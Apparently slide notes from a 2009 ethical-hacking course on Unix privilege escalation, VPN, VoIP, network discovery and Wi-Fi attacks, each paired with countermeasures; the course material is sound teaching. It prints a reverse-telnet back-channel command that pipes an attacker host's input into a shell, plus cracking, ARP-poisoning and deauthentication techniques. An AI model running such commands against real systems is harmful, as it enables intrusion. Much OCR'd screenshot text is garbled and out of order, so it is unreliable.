And the sniffers themselves have vulnerabilities

Promiscuous-Mode Attacks Countermeasures 

Run latest versions of sniffers, and patch them

Consider putting the network card that is capturing hostile traffic into "stealth mode"

· The network interface card is in promiscuous mode but does not have an actual IP address

· That way it cannot connect back to an attacker even if it is compromised 

Local Access 

Password Composition Vulnerabilities 

If passwords are poorly chosen, they can be cracked by dictionary or brute-force attacks

Tools: Crack, John the Ripper

Countermeasures: strong passwords

Local Buffer Overflow 

A popular way to get root access

Run a system process, and trick it into running shell code while it is privileged

Countermeasures: secure coding & nonexecutable stack

Symlink 

Programs often create temporary files in /tmp 

An attacker can insert "symbolic links" (Windows calls them shortcuts) into this folder

Tricking a program into referencing some other file, like /etc/passwd, during execution

· This can give a user inappropriate access to files

[image: image97.jpg]Reverse telnet and Back Channels

a e

Attacker Fle Edt view Terminal Tabs Lelp

student@student-desktop:~$ sudo nc -lvp 80
Uistening on [any] 80

Type commands in upper connect to [192.168.1.145] from student-desktop [192.168.1.81] 59821
1s
window 1

See results in lower window a student@student:deskiop:,=.

Ele Edt View Terminal Tebs Help

student@student-desktop:~$ sudo nc -lvp 25
Uistening on [any] 25

connect to [192.168.1.145] from student-desktop [192.168.1.81] 33441
Desktop

Docunents

Exanples,

Music

Pictures

Public

Tenplates

Videos

Target

A En e st e EEREOD,

(this command would fle Edit View Terminal Tabs Help
student@student-desktop:~$ sudo telnet 192.168.1.145 80 | sh | telnet 192.168.1.145 25

be remotely executed W 7rying 192.168.1.145...

Connected to 192.168.1.145.
througha Escape character is '~]'.
P sh: Trying: not found
vulnerabilityin areal i comected: not found

sh: Escape: not found

attack)




Symlink Countermeasures 

Secure coding practices 

· Check to see if a file exists before trying to create one 

To see how common /tmp files are, execute these commands

· cd /sbin

· strings * | grep tmp 

Race Conditions 

Attacker times the attack to abuse a process after it enters a privileged mode but before it gives up its privileges 

When it works, it's called "winning the race" 

Signal-Handling Issues 

Signals are used in UNIX used to notify a process that some particular condition has occurred and provide a mechanism to handle asynchronous events 

· Like Interrupts

· Ctrl+Z sends a signal to suspend a running program

Attackers can use these signals to stop a process while it is elevated

Signal-Handling Countermeasures 

It's up to the programmers

Reduce the number of SUID files on each system

· Files that run as super-user

Apply all relevant vendor-related security patches 

Core File Manipulation 

Get a program to dump the core

Look in the core for password hashes and other confidential data

Countermeasures:

· Turn off core dumps

· Inconvenient for the administrators

Shared Libraries 

Shared libraries are used by many programs

· In the Windows world, these are DLL files

If an attacker can redirect library calls to an altered library, they can compromise many programs at once

Kernel Flaws 

The UNIX kernel is the core component of the operating system that enforces the overall security model of the system 

· Honoring file and directory permissions

· Escalation and relinquishment of privileges from SUID files

· How the system reacts to signals

The kernel itself has flaws 

Kernel Flaws Countermeasures 

Apply patches to the kernel promptly

System Misconfiguration 

File and Directory Permissions 

In UNIX, everything is a file

· binary executables

· text-based configuration files

· devices 

SUID Files

Set user ID (SUID) and set group ID (SGID) root files are very dangerous

Sloppy programmers use SUID when it's not really necessary

To see all the SUID files:

find / -type f -perm -04000 -ls  
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SUID files on Ubuntu andLinux 
After Hacking Root 

Attackers will install a Rootkit, with these items

· Trojans

· Backdoors

· Sniffers

· Log cleaners

Last modified 2-27-09

Virtual Private Network (VPN) Hacking 
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Virtual Private Network (VPN)

A VPN connects two computers securely over an insecure network (usually the Internet), using tunneling
Tunneling

An Ethernet frame is encapsulated in an IP packet, so it can be sent over the Internet

· It can be done with other protocols too

Usually the frame is also encrypted, so that only the intended recipient can read it

The end result is like you used a long cable to connect the two computers

Cost Savings

You could use a T-1 line or a POTS phone call with a modem, to make a secure connection between two computers

But a VPN is much cheaper, requiring only an Internet connection at each end

VPN Standards

The modern way

· IP Security (IPSec) and the Layer 2 Tunneling Protocol (L2TP) 

Older techniques

· Point-to-Point Tunneling Protocol (PPTP)

Microsoft proprietary 

· Layer 2 Forwarding (L2F)

An obsolete Cisco protocol

For more details, see link Ch 611

Breaking Microsoft PPTP 

Microsoft's secure authentication protocol, MS-CHAP, uses LM Hashes

· Easily cracked with Ophcrack
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Session keys and encryption are poorly implemented and vulnerable to attacks

The control channel is open to snooping and denial of service

PPTP clients could act as a backdoor into the network 

· See links Ch 612 & 613

Fixing PPTP 

Microsoft patched PPTP in Win NT Service Pack 4 by using MS-CHAPv2

· And it's really much better (link Ch 614)

Win 2000 and later also offer IPSec and L2TP, which is safer

· "In our opinion, IPSec is too complex to be secure" -- Schneier and Ferguson (link Ch 615)

· But it's the best IP security available now

Google Hacking for VPN 
Search for filetype:pcf

Stored profile settings for the Cisco  VPN client

You get encrypted passwords in this file

· I truncated the hash in this example

Cracking VPN Password with Cain
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It cracked instantly for me

· Password removed from figure

The encryption algorithm is easily reversible
· Link Ch 625, 627
 Attacking IKE

IPSec  VPNs use Internet Key Exchange (IKE) to establish the session

The faster, less secure, "Aggressive mode" IKE is vulnerable to an offline brute force attack

Tool: IKECrack (link Ch 626)
Voice Over IP (VoIP) Attacks 

Voice over IP (VoIP) 

Voice on an IP Network

Most VoIP solutions rely on multiple protocols, at least one for signaling and one for transport of the encoded voice traffic

The two most common signaling protocols are H.323 and Session Initiation Protocol (SIP)

· Their role is to manage call setup, modification, and closing

H.323

H.323 is a suite of protocols

· Defined by the International Telecommunication Union (ITU

· The deployed base is larger than SIP

· Encoding is ASN.1 – different than text, a bit like C++ Data Structures (link Ch 618)

· Designed to make integration with the public switched telephone network (PSTN) easier

Session Initiation Protocol (SIP) 

The Internet Engineering Task Force (IETF) protocol

People are migrating from H.323 to SIP

Used to signal voice traffic, and also other data like instant messaging (IM)

Similar to the HTTP protocol

The encoding is text (UTF8)

SIP uses port 5060 (TCP/UDP) for communication

Real-time Transport Protocol (RTP) 

Transports the encoded voice traffic 

Control channel for RTP is provided by the Real-time Control Protocol (RTCP)

Consists mainly of quality of service (QoS) information (delay, packet loss, jitter, and so on)

· Timing is more critical for VoIP than other IP traffic  

Most Common VoIP Attacks 

Denial of Service 

· Send a lot of SIP INVITE packets, initiating calls

· Flood a phone with unwanted IP traffic

Spoofing the CLID (Caller ID) 

· Swatting is a popular and dangerous attack, spoofing caller ID and calling police (link Ch 619)

Injecting data into an established call

Altering the phone's configuration 

· Connect to the phone via Telnet or HTTP

· Sometimes no password is needed

· Or upload malicious code with your own DHCP and TFTP servers

When a phone boots, it can upload updated firmware with TFTP

Attacking though services linked to VoIP

· Advanced voicemail

· Instant messaging

· Calendar services

· User management 

Attacks may use XSS (cross-site scripting), client-side JavaScript alteration, SQL injection, and so on

Accessing repository of recorded calls

[image: image102.png]


Making free calls through a company's VoIP-to-PSTN gateway

Interception Attack 

Sniff the IP Packets

· With ARP poisoning

[image: image103.jpg]student@student-desktop:~$ cd /sbin
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Attacker is set to route traffic, but not decrement the TTL

Captured RTP Traffic 
It's compressed with a codec

Common codecs

·  G.711 (uses up a lot of bandwidth)

· G.729 (uses less bandwidth)

vomit - voice over misconfigured internet telephones

· Converts G.711 to WAV

· It works because many IP phones don't or can't encrypt traffic

· Link Ch 620

Scapy is an even better tool, plays traffic from eth0 right out the speakers

· Link Ch 621

Interception Countermeasures

Turn on the security features available for your phones, such as encryption

They are often left turned off, to get higher quality or just through laziness

VoIP Projects

Project 16: VoIP

· Set up a free Windows-based VoIP server

· Install a free software phone

· Sniff  RTP streams with Wireshark and replay them

Project 17: Fuzzing X-Lite with VoIPer

Project 18: SIPVicious scanning 3CX and Asterix PBX Servers 

Last modified 3-18-09

Discovery 

Detecting Network Devices 
Port Scanning

· traceroute, netcat, nmap, and SuperScan 
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dig

· An undated replacement for nslookup in Unix/Linux

· If it's not installed by default in your Ubuntu, use 

apt-get install dnsutils

Finding Mail Exchanges with nslookup
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Finding Mail Exchanges with dig

Types of DNS Records

A – maps a hostname to an IPv4 address

AAAA - maps a hostname to an IPv6 address

CNAME - Canonical name - an alias of one name to another 

MX - mail exchange record

 PTR - maps an IPv4 address to the canonical name for that host (allows reverse DNS lookups)

SOA - start of authority record – the authoritative DNS server for a domain

SRV - a generalized service location record, used for VoIP SIP servers

· See link Ch 705

For more about DNS Records, see link Ch 704 (Wikipedia)

dig Countermeasures 

Secure your DNS infrastructure

Block or restrict zone transfers 

Leave hosts out of your DNS records unless you want direct traffic to them from the Internet

traceroute 

Tracert in Windows uses ICMP packets

Traceroute in Unix/Linux uses UDP packets

· The packets have low TTLs, starting with 1

· When the packet traverses a router, its TTL is decreased by 1

· If the TTL ever hits zero, the packet is dropped

· A notification is sent back to the originating source host in the form of an ICMP error packet 

Finding Routing Devices at CCSF 
Hops 10 and 11 both appear to be routing devices on campus
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traceroute Countermeasures

Stop your routers from responding to TTL-exceeded packets

Deny all traffic specifically addressed to a router

Permit ICMP only from the LAN, not from the Internet
Autonomous System Lookup 

Autonomous Systems 

Autonomous System (AS)
· A collection of gateways (routers) that controlled by one organization

Autonomous System Number (ASN)
· a numerical identifier for networks participating in Border Gateway Protocol (BGP) 

Border Gateway Protocol (BGP) 

· A protocol used to advertise routes worldwide
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traceroute with ASN Information 

Run traceroute from a Cisco router participating in BGP to see the ASNs

Hop 8 is a T-1; hops 4-9 all same company

Demo

Public Looking Glass sites let you test routing from various servers

· [image: image108.jpg]-
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-t mangle -A FORWARD -j TTL --ttl-inc 1



See Links 724-727
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show ip bgp 

From a Cisco router, we can find the other possible network paths 
Public Newsgroups 

Careless Postings 

Careless admins may announce network vulnerabilities on newsgroups

Countermeasures:

· Be wary of what you say and where you say it 

Service Detection 

[image: image110.jpg]Table 7-1: Commonly Used Listening Ports

Hardware TCcP UDP

Cisco routers 21 (FTP) 0 (tepmux)
23 (telnet) 49 (domain)
22 (SSH) 67 (bootps)
79 (finger) 69 (TFTP)
80 (HTTP) 123 (NTP)
179 (BGP) 161 (SNMP)
512 (exec)
513 (login)
514 (shell)
1993 (Cisco SNMP)
1999 (Cisco ident)
2001
4001
6001
9001 (XRemote service)

Cisco switches 23 (telnet) 0 (tcpmux)

123 (NTP)

161 (SNMP)




Port Scanning

Common ports are known for each device

Nmap Results 
[image: image111.jpg]Command Prompt - nslookup.

F:\Users\Sam>nslookup
Default Server: resoluer2.opendns.com
Address: 208.67.220.220:53

> set q=mx
> yahoo.com

Server: resoluer2.opendns.com
Address: 208.67.220.220:53

Non-authoritative answer

yahoo . com MX preference
yahoo. com MX preference
yahoo . com MX preference
yahoo . com MX preference
yahoo . com MX preference
yahoo . com MX preference = 1, mail exchanger = c.mx.mail.yahoo.com
yahoo . com MX preference = 1, mail exchanger = d.mx.mail.yahoo.com

s \f

, mail exchanger
, mail exchanger
, mail exchanger
, mail exchanger
, mail exchanger

.mx.mail.yahoo.com
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Nmap also does OS detection, as we discussed in a previous chapter
[image: image112.jpg]Fle Edit View Terminal Tabs
Student@student-desktop:~$ dig -t mx yahoo.com

Help

; <o> Di6 9.4.2 <> -t mx yahoo.com
i; global options: printcnd

i Got answer:

->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61238

flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: ©, ADDITIONAL: 0

ii QUESTION SECTION:

;yahoo. com. ™ HX

i; ANSWER SECTTON:

yahoo. com. 6675 1IN HX 1 c.mx.mail.yahoo.com.
yahoo. com. 6675 1IN HX 1 d.mx.mail.yahoo.com.
yahoo. com. 6675 1IN HX 1 e.nx.mail.yahoo.com.
yahoo. co. 6675 1IN HX 1 f.mx.mail.yahoo.com.
yahoo. con. 6675 1IN HX 1 g.mx.mail.yahoo.com.
yahoo. con. 6675 1IN HX 1 a.mx.mail.yahoo.com.
yahoo. con. 6675 1IN HX 1 b.mx.mail.yahoo.com.




Familiar Prompts

If Telnet is enabled on a Cisco router, you will see this prompt

[image: image113.jpg]@l Command Prompt
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Tracing route to hills.ccsf.cc.ca.us [147.144.1.2]

over a maximum of 30 hops:

1 1 ms
2 2 ms
3 15ms
4 11 ms
5 9 ms
6 22ms
(8.19]
7 1ims
131.254]
s 14ms
11
9 24ms
10 26 ms
11 17 ms
12 24 ms

Trace complete.

F:\Users\Sam>

1
2
20
21
20
L.

11
23
L.
23

26
12

ms
ms
ms
ms
ms
ms

ms

ms

ms

ms

ms
ms

Suwon =

w -

12

26
16
15
15

ms
ms
ms
ms
ms
ms

ms

ms

ms

ms

ms
ms

192.168.12.1

192.168.2.1

10.21.64.1

76.14.0.3

206.169.179.1

peer-02-s0-0-0-0-0.palo. twtelecom.net [64.129.24

calren-trcust.plalca®l.transitrail.net [137.164.
dc-oak-dc1--sul-dc1-10ge.cenic.net [137.164.22.3
dc-cesf--oak-dcl.cenic.net [137.164.41.2]
raksh@.ccsf.cc.ca.us [147.144.3.240]

147.144.12.1
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A Cisco router configured for SSH still shows a banner to Telnet 
Service Detection Countermeasures 

Deny all unwanted traffic at network borders 

PortSentry will detect port scans and block traffic from that IP

· But PortSentry itself could be used to perform a DoS attack if you don't check for spoofed packets

Network Vulnerability 

The OSI Model 
[image: image114.jpg]C:\telnet route-server.ip.example.com
route-server>traceroute www.example.com
Type escape sequence to abort
Tracing the route to www.example.com (192.126.34.72)

1 white_dwarf.cbbtier3.example.com (192.168.1.1) [AS 7018] 0 msec 0 msec 0 msec

2 ar3.n54ny.ip.example.com (192.168.0.30) [AS 7018] 0 msec 0 msec 0 msec

3 tbr2-p013801.n54ny.ip.example.com (192.168.11.17) [AS 7018] 4 msec 4 msec 4
msec

4 pos5-3.prl.lgal.us.example.com (192.168.12.21) [AS 6461] 4 msec 0 msec 4 msec

5 50-1-0-0.cr2.dca2.us.example.com (192.168.233.129) [AS 6461] 6 msec 4 msec 6
msec

6 50-5-1-0.mpr4.sjc2.us.example.com (192.168.30.30) [AS 6461] 7 msec 7 msec 7
msec

7 pos0-0.mpr2.lax2.us.example.com (192.168.156.126) [AS 6461] 7 msec 8 msec 8
msec

8 example-tl-demarc.lax.example.com (192.168.82.97) [AS 6461] 8 msec 7 msec 8
msec

9 www.example.com (192.168.95.130) [AS 6461] 9 msec 9 msec 9 msec





Data Units

APDU - Application Protocol Data Unit

PPDU - Presentation Protocol Data Unit

SPDU - Session Protocol Data Unit

TPDU - Transport Protocol Data Unit

· But our focus is on the first 3 layers

OSI Layer 1: Physical

Physical media that carry data: usually copper or fiber optics

Traffic can be intercepted with a physical man-in-the-middle attack

[image: image115.jpg]Type escape sequence to abort.
Tracing the route to hills.ccsf.cc.ca.us (147.144.1.2

1 gp0-gpl-te.ilan.nec.il (128.139.188.2) 4 msec O msec O msec
2 iucc.rcl.fra.de.geant2.net (62.40.125.121) [AS 20965] 60 msec 60 msec 60 msec

3 abilene-wash-gw.rtl.fra.de.geant2.net (62.40.125.18) [AS 20965] 152 msec 152 msec 152 msec
4 50-0-0-0.0.rcr.acla.net.internet2.edu (64.57.28.6) [AS 11537] 168 msec 164 msec 168 msec
s
s

50-3-2-0.0.rtr.hous.nec.internet2.edu (64.57.28.43) [AS 11537] 188 msec 188 msec 192 msec
50-3-0-0.0.rtr.losa.nec.internet2.edu (64.57.28.44) [AS 11537] 220 msec 220 msec 232 msec
pr--12-newnet.cenic.net (137.164.26.132) [AS 2153] 220 msec 228 msec 224 msec
lax-hpr-10ge.cenic.net (137.164.25.5) [AS 2153] 228 msec 228 msec 228 msec
pr--riv-hpr-10ge.cenic.net (137.164.25.11) [AS 2153] 236 msec 240 msec 236 msec

10 de-sac-del--npr-p2p.cenic.net (137.164.40.108) [AS 2152] 240 msec 236 msec 236 msec

11 de-oak-corel--sac-dci-10g.cenic.net (137.164.47.22) [AS 2152] 240 msec 240 msec 240 msec
12 de-oak-aggl--oak-corel-ge-2.cenic.net (137.164.46.58) [AS 2152] 240 msec 240 msec 240 msec
13 de-cosf-—oak-dcl.cenic.net (137.164.41.2) [AS 2152] 240 msec 244 msec 240 msec

14 raksh0.ccsf.cc.ca.us (147.144.3.240) [AS 2152] 240 msec 240 msec 240 msec

15 147.144.12.1 [AS 2152] 240 msec 240 msec 240 msec

16 hills.cesf.cc.ca.us (147.144.1.2) [AS 2152] 240 msec 240 msec 244 msec




The next slide shows a T1 man-in-the-middle attack (copper lines)

Fiber Optic Physical MITM Attack

See link Ch 709

[image: image116.jpg]route-server>show ip bgp 192.168.0.130
BGP routing table entry for 192.168.0.0/15, version 96265
Paths: (20 available, best #20, table Default-IP-Routing-Table)
Advertised to non peer-group peers:
11.11.11.230
7018 6461, (received & used)
11.11.12.252 from 11.11.12.252 (11.11.12.252)
Origin IGP, localpref 100, valid, external
Community: 7018:5000 7018 6461, (received & used)

[ truncated output due to length ]

7018 6461, (received & used)
11.11.13.124 from 11.11.13.124 (11.11.13.124)
origin IGP, localpref 100, valid, external
Community: 7018:5000
7018 6461, (received & used)
11.11.14.124 from 11.11.14.124 (11.11.14.124)
origin IGP, localpref 100, valid, external
Community: 7018:5000
7018 6461, (received & used)
11.11.15.236 from 11.11.15.236 (11.11.15.236)
Origin IGP, localpref 100, valid, external, best
Community: 7018:5000
route-server>



[image: image117.jpg][/root]# nmap -pl-25,80,512-515,2001,4001, 6001,9001 192.168.0.1
Starting mmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/mmap/)
Interesting ports on (192.168.0.1)

Port State Protocol Service
7 open tep echo

9 open tep discard
13 open tep daytime
19 open tep chargen
22 open tep ssh

23 filtered tcp telnet
2001 open tep dc

6001  open tep X11:1




OSI Layer 2: Data Link 

Layer 2 is the layer where the electrical impulses from Layer 1 have MAC addresses associated with them

Early Ethernet sent traffic to every node connected to the hub or backbone

Modern switched networks don't do that 

Unswitched Ethernet 
Most wired networks use switches instead of hubs now

Wi-Fi networks still work this way

[image: image118.jpg]User Access Verification
Password:




Switched Ethernet

Switches make sniffing harder

They also make networks faster

Switch Sniffing 

[image: image119.jpg]root@irc.example.com
Trying 10.14.208.3.
Connected to 10.14.208.3.

Escape character is '~]'.
SSH-1.5-Cisco-1.25

Connection closed by foreign host.
root@irc.example.com:~#

~$ telnet 10.14.208.3 22



Some switches allow an administrator to monitor all traffic on a special port

ARP cache poisoning is the most common way to sniff traffic on a switch
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ARP Poisoning with Cain

Easy to do

Part of Project X1: SideJacking Gmail in a Switched Network

ARP Poisoning Countermeasures 

Use static ARP routes, with manually entered MAC addresses

· This prevents abuse of ARP redirection, but it is a LOT of tedious work

· Every time you change a NIC, you need to manually add the new MAC address to the tables

ARPwatch 
[image: image121.jpg]Normal T1 before man-in-the-middle attack

Ethernet CSU/DSU

Phone closet
After man-in-the-middle attack
Ethernet CSU/DSU DSU/CSU CSU/DSU
] "
Router Ethernet f
Man-in-the-middle
ter in bridgi d
router in bridging mode e st
—
>
=
=




Monitors ARP cache to detect poisoning

· Windows version crashed on my Win 7

But DecaffeinatID by Irongeek works great!

· [image: image122.jpg]AT&T’s Role in Dragnet Surveillance of
Millions of Its Customers

INTERNET SPYING IN SAN FRANCISCO?

AT&T's internet traffic in San
Francisco runs through fiber-optic
cables at an AT&T facility located at
611 Folsom Street in San Francisco
Using a device called a “splitter”

a complete copy of the internet
traffic that AT&T receives — email,
web browsing requests, and other
electronic communications sent to
or from the customers of AT&T's
WorldNet Internet service from
people who use another internet
service provider  is diverted onto

a separate fiber-optic cable which
is connected to a room, known as
the 5G-3 room, which is controlled
by the NSA. The other copy of the
traffic continues onto the internet to
its destination
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Links Ch 729-733 
Broadcast Sniffing 

[image: image123.jpg]Traffic from A to B is sent to all stations




Connect to a port

It doesn't matter what your IP address is

Just sniff for broadcast packets

· Using Wireshark or any other sniffer

DHCP Packets 

Give out IP addresses, and may also contain brand of router

DEMO:

Start Wireshark

Open Command Prompt 
ipconfig /release

ipconfig /renew

ARP Packets

[image: image124.jpg]Traffic from A to B is sent only to B




These give you IP addresses and MAC addresses

WINS Packets

Note Computer Description field at the end "Accounting"

[image: image125.jpg]ARP Poisoning
Traffic from A to B Goes To Attacker

Switch






Broadcast Sniffing Countermeasures

To limit broadcasts, split your network into different segments
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Use VLANS – Virtual Local Area Networks

· Switches add a VLAN tag to each frame

· Broadcasts only reach machines on the same VLAN

· Link Ch 710

VLANs

Virtual LANs are logically separate LANs on the same physical medium 

Each VLAN has its own VLAN Number

802.1q is the standard for VLAN Tagging

VLAN Tagging

· Links Ch 712, 713

Port-Based VLANs

Each port on the switch is assigned to a VLAN by the administrator

The clients send in normal Ethernet frames, and the VLAN tag is added by the switch

When tagged frames are received, the switch removes the VLAN tags

This is the most secure method

Native VLANs

Suppose you want to use a single network link to carry traffic from multiple VLANs?

· For example, a long line connecting two buildings

One VLAN can be defined as the "Native VLAN" or "Management VLAN"

· Frames belonging to the "Native VLAN" are not modified—no VLAN header is added to them, or removed

VLAN Jumping 
[image: image127.jpg]25 ARP Watcher LR
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This allows an attacker to craft a frame with two VLAN tags

· The first switch removes one tag

· The second switch sees the extra tag, so the frame hops from one VLAN to another

VLAN Jumping Countermeasures 

Don't trust VLANS to enforce network security boundaries

Restrict access to the native VLAN port (VLAN ID 1)

We'll skip these sections

Internetwork Routing Protocol Attack Suite (IRPAS) and Cisco Discovery Protocol (CDP)

Spanning Tree Protocol (STP) Attacks 

VLAN Trunking Protocol (VTP) Attacks 

OSI Layer 3 

Internet Protocol Version 4 (IPv4)

· Has no built-in security measures

TCP Sequence Numbers

· Example: tcpdump showing a Telnet connection
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· S = SYN, A = ACK; note increasing Sequence and Acknowledgement numbers

Demonstration of Sequence Numbers

Use Ubuntu

In one Terminal window: 

· sudo apt-get install tcpdump

· sudo tcpdump –tnlS | tee capture

(no timestamps, numerical IP addresses, line buffered, absolute sequence numbers )

In another Terminal window: 

· telnet 147.144.1.2

In first Terminal window: 

· pico capture

Attacks Using Sequence Numbers

Attacker on target LAN

· Sequence numbers can be sniffed 

· Session can be hijacked with ARP cache poisoning 

Attacker not on target LAN

· If sequence numbers can be predicted

· Attacker can forge packets and hijack a later session 

Vulnerabilities to ISN Prediction

Windows NT4 SP3
Attack feasibility: 97.00%

Windows 98 SE
Attack feasibility: 100.00%

Windows 95

Attack feasibility: 100.00%

AIX 4.3 


Attack feasibility: 100%

HPUX11


Attack feasibility: 100%

Solaris 7


Attack feasability: 66.00%

MacOS 9


Attack feasability: 89.00% 

· See links Ch 718, 719, 720

IP Version 6 (IPv6)

Long addresses like this

· ABCD:EF01:2345:6789:0123:4567:8FF1:2345

Native security

IPSec encryption framework has two modes:

· Tunnel mode encrypts whole packet (most secure)

· Transport mode just encrypts the data, not the IP header

Both modes are much more secure than IPv4 

Sniffing Attacks

Steal passwords or hijack sessions

Generally require access to the LAN

Tools: Wireshark, tcpdump, Cain, ettercap, hamster, ferret

Older tools: dsniff, webmitm, mail snarf, webspy

Sniffing Countermeasures

Segment network with switches, routers, or VLANS

Use encrypted protocols like SSL/TLS

Cisco Vulnerabilities

Older routers allow anyone on the LAN to download the configuration file with TFTP

Passwords in the config were weakly encrypted

· The newer MD5 hash is stronger, although it can still be brute-forced with Cain

· See Proj X4: Cracking Cisco Passwords

Last modified 3-25-09

Equipment 

Windows x. Linux

Windows

· Wireless NIC drivers are easy to get

· Wireless hacking tools are few and weak

Unless you pay for AirPcap devices (link Ch 819) or OmniPeek

Linux 

· Wireless NIC drivers are hard to get and install

· Wireless hacking tools are much better
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OmniPeek 
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WildPackets now packages AiroPeek & EtherPeek together into OmniPeek

A Windows-based sniffer for wireless and wired LANs

Only supports a few wireless NICs

· See links Ch 801, Ch 802

Prism2 Chipsets

For Linux, the three best chipsets to use are Orinoco, Prism2.x/3, and Cisco

· Links Ch 803, 804, 805

Antennas

Omnidirectional antenna sends and receives in all directions

Directional antennas focus the waves in one direction

· The Cantenna shown is a directional antenna 
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Stacked Antennas

Quad stacked antenna 

· [image: image132.jpg]VLAN Tagging
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Four omnidirectional antennas combined to focus the beam away from the vertical

· Beamwidth: 360° Horizontal, 15° Vertical 
· Can go half a mile

· Link Ch 806

WISPer

Uses "multi-polarization" to send through trees and other obsctructions

· Link Ch 807

Global Positioning System (GPS) 
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Locates you using signals from a set of satellites

Works with war-driving software to create a map of access points

· Link Ch 808

Pinpoint your Location with Wi-Fi (not in book)

Skyhook uses wardriving to make a database with the location of many Wi-Fi access points 

Can locate any portable Wi-Fi device

An alternative to GPS

· Link Ch 809 

iPhone

The iPhone combines GPS, Wi-Fi, and cell tower location technology to locate you

· Link Ch 820

You can wardrive with the Android phone and Wifiscan

· Links Ch 821-823

War-Driving Software 
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Terms 
Service Set Identifier (SSID)

· An identifier to distinguish one access point from another 

Initialization Vector (IV)

· Part of a Wired Equivalent Privacy (WEP) packet

· Used in combination with the shared secret key to cipher the packet's data 

NetStumbler 

Very popular Windows-based war-driving application

Analyzes the 802.11 header and IV fields of the wireless packet to find:

· SSID

· MAC address

· WEP usage and WEP key length (40 or 128 bit)

· Signal range

· Access point vendor 

How NetStumbler Works

NetStumbler broadcasts 802.11 Probe Requests

All access points in the area send 802.11 Probe Responses containing network configuration information, such as their SSID and WEP status

It also uses a GPS to mark the positions of networks it finds

· Link Ch 810

[image: image135.png]AiroPeek & EtherPeck rov. OmniPeek



NetStumbler Screen 
NetStumbler Countermeasures 

NetStumbler's relies on the Broadcast Probe Request

Wireless equipment vendors will usually offer an option to disable this 802.11 feature, which effectively blinds NetStumbler 

· But it doesn't blind Kismet

Kismet

Linux and BSD-based wireless sniffer 

Allows you to track wireless access points and their GPS locations like NetStumbler

Sniffs for 802.11 packets, such as Beacons and Association Requests

· Gathers IP addresses and Cisco Discovery Protocol (CDP) names when it can 

Kismet Countermeasures 

· There's not much you can do to stop Kismet from finding your network

Kismet Features

Windows version 

· Runs on cygwin, only supports two types of network cards

Airsnort compatible weak-iv packet logging

Runtime decoding of WEP packets for known networks 

Kismet Screenshot

[image: image136.png]



For Kismet, see link Ch 811

Kismet Demo 
· Use the Linksys WUSB54G ver 4 nics

· Boot from the Backtrack 2 CD

· Start, Backtrack, Radio Network Analysis, 80211, All, Kismet
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[image: image138.png]


Wardriving

Finding Wireless networks with a portable device 
· Image from overdrawn.net

Vistumbler

Link Ch 818

[image: image139.png]
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Cain
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WiGLE

Collects wardriving data from users 
Has over 16 million records

· Link Ch 825

Wireless Scanning and Enumeration 

Goal of Scanning and Enumeration

· To determine a method to gain system access 

For wireless networks, scanning and enumeration are combined, and happen simultaneously 

Wireless Sniffers

Not really any different from wired sniffers

There are the usual issues with drivers, and getting a card into monitor mode

Wireshark WiFi Demo

· Use the Linksys WUSB54G ver 4 nics

· Boot from the Backtrack 2 CD

· In Konsole:

ifconfig rausb0 up

iwconfig rausb0 mode monitor

wireshark
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Identifying Wireless Network Defenses

SSID 

SSID can be found from any of these frames

· Beacons 

Sent continually by the access point (unless disabled)

· Probe Requests 

Sent by client systems wishing to connect

· Probe Responses

Response to a Probe Request

· Association and Reassociation Requests

Made by the client when joining or rejoining the network

If SSID broadcasting is off, just send adeauthentication frame to force a reassociation

MAC Access Control

CCSF uses this technique

Each MAC must be entered into the list of approved addresses

High administrative effort, low security

Attacker can just sniff MACs from clients and spoof them

Gaining Access (Hacking 802.11)
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Specifying the SSID

In Windows, just select it from the available wireless networks

· In Vista, right-click the network icon in the taskbar tray and click "Connect to a Network"

· If the SSID is hidden, click "Set up a connection or network" and then click "Manually connect to a wireless network" 
Changing your MAC

Bwmachak changes a NIC under Windows for Orinoco cards

SMAC is easy 
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link Ch 812

Device Manager

Many Wi-Fi cards allow you to change the MAC in Windows' Device Manager
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Attacks Against the WEP Algorithm 

Brute-force keyspace – takes weeks even for 40-bit keys

Collect Initialization Vectors, which are sent in the clear, and correlate them with the first encrypted byte

· This makes the brute-force process much faster

Tools that Exploit WEP Weaknesses 

AirSnort 

WLAN-Tools 

DWEPCrack 

WEPAttack 

· Cracks using the weak IV flaw

Best countermeasure – use WPA

HotSpotter

Hotspotter--Like SSLstrip, it silently replaces a secure WiFi connection with an insecure one

Works because Windows allows it, apparently happy to accept an insecure network as part of the same WLAN

· Link Ch 824

Lightweight Extensible Authentication Protocol (LEAP)

What is LEAP?

A proprietary protocol from Cisco Systems developed in 2000 to address the security weaknesses common in WEP 

LEAP is an 802.1X schema using a RADIUS server

As of 2004, 46% of IT executives in the enterprise said that they used LEAP in their organizations 

The Weakness of LEAP

LEAP is fundamentally weak because it provides zero resistance to offline dictionary attacks

It solely relies on MS-CHAPv2 (Microsoft Challenge Handshake Authentication Protocol version 2) to protect the user credentials used for Wireless LAN authentication 

MS-CHAPv2

MS-CHAPv2 is notoriously weak because

· It does not use a SALT in its NT hashes

· Uses a weak 2 byte DES key

· Sends usernames in clear text

Because of this, offline dictionary and brute force attacks can be made much more efficient by a very large (4 gigabytes) database of likely passwords with pre-calculated hashes 

· Rainbow tables

Cisco's Defense

LEAP is secure if the passwords are long and complex

· 10 characters long with random upper case, lower case, numeric, and special characters 

The vast majority of passwords in most organizations do not meet these stringent requirements

· Can be cracked in a few days or even a few minutes 

For more info about LEAP, see link Ch 813

LEAP Attacks 

Anwrap 

Performs a dictionary attack on LEAP

Written in Perl, easy to use

Asleap

Grabs and decrypts weak LEAP passwords from Cisco wireless access points and corresponding wireless cards 

Integrated with Air-Jack to knock authenticated wireless users off targeted wireless networks 

· When the user reauthenticates, their password will be sniffed and cracked with Asleap 

Countermeasures for LEAP

Enforce strong passwords

Continuously audit the services to make sure people don't use poor passwords

WPA

WPA is  strong

No major weaknesses

However, if you use a weak Pre-Shared Key, it can be found with a dictionary attack

Tool: Aircrack-ng

Denial of Service (DoS) Attacks 

Radio Interference

· 802.11a, 11b, and 11g all use the 2.4-2.5GHz ISM band, which is extremely crowded at the moment 

Unauthenticated Management Frames

· An attacker can spoof a deaauthentication frame that looks like it came from the access point

· wlan_jack in the Air-Jack suite does this

Last modified 3-27-09

Getting in the Door

[image: image146.jpg]L
Ele View Configure Tools Help

S| @ b BB BV MEEa0¥R O 2 i
